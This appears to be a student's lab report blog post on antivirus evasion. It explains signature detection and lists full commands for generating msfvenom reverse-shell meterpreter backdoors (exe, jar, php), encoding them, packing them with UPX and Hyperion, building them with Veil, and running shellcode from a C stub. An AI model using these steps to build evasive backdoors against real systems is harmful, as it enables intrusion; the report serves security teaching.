Exp3-免杀原理与实践

Exp3-免杀原理与实践

1 基础问题回答

1.1 杀软是如何检测出恶意代码的?

基于特征码的检测:简单来说一段特征码就是一段或多段数据。根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码库中的数据则被认为是恶意代码。

1.2 免杀是做什么?

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

1.3 免杀的基本方法有哪些?

  • 改变特征码
    • 加壳:压缩壳 加密壳
    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
  • 通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据

1.4 开启杀软能绝对防止电脑中恶意代码吗?

不能

2 实验环境

免杀测试平台:https://www.virustotal.com/

3 实践内容

3.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

3.1.1 检测实验2中生成的后门程序

3.1.2 编码一次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.37.135 LPORT=1305 -f exe > shell.exe

3.1.3 编码10次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.37.135 LPORT=1305 -f exe > shell10.exe

3.2 生成jar文件

msfvenom -p java/shell_reverse_tcp  LHOST=192.168.37.135 LPORT=1305 -f jar > shell.jar

3.3 生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.37.135 LPORT=1305 x> shell.php 

3.4 veil,加壳工具

3.4.1 veil

3.4.1.1 下载
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh
将260行的内容修改为sudo git clone https://gitee.com/spears/VeilDependencies.git
veil
3.4.1.2 使用
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.37.135
set LPORT 1305
generate

3.4.2 加壳

upx shell10.exe -o shell10_upx.exe

3.5 使用C + shellcode编程

3.5.1 生成c文件,得到机器码

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.37.135 LPORT=1305 -f c

3.5.2 补充代码shell_c.c

int main()
{
int (*func)() = (int(*)())buf;
func();
}

3.5.3 跨平台交叉编译

i686-w64-mingw32-g++ shell_c.c -o shell_c.exe

3.6 通过组合应用各种技术实现恶意代码免杀

3.6.1 c+shellcode+Hyperion

3.6.1.1 下载Hyperion2.2
wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip
unzip Hyperion-2.2.zip

3.6.1.2修改makefile,make
vim Makefile
编译方法改成交叉编译i686-w64-mingw32-gcc
make

3.6.1.3 加壳
wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe

3.6.2 python+aes_encrypt

3.6.2.1 打开veil,选择Evasion
veil
use 1
list

3.6.2.2 使用aes_encrypt_py生成后门
use python/shellcode_inject/aes_encrypt.py
generate
2

实验体会与总结

在本次实验中,遇到的最大难题就是Veil的安装。在更换Github仓库链接时,第一次由于少了个空格,第二次缺少后缀,在后续的安装过程中一直反复出错重装。
通过本次实验,我对后门程序的设计和免杀有了更深入的掌握,杀毒软件能查杀大部分恶意软件,但并不是所有的都能检测出来。因此我们平时也要加大网络防范安全意识。

posted @ 2022-04-08 23:38  20191305李天琦  阅读(47)  评论(0编辑  收藏  举报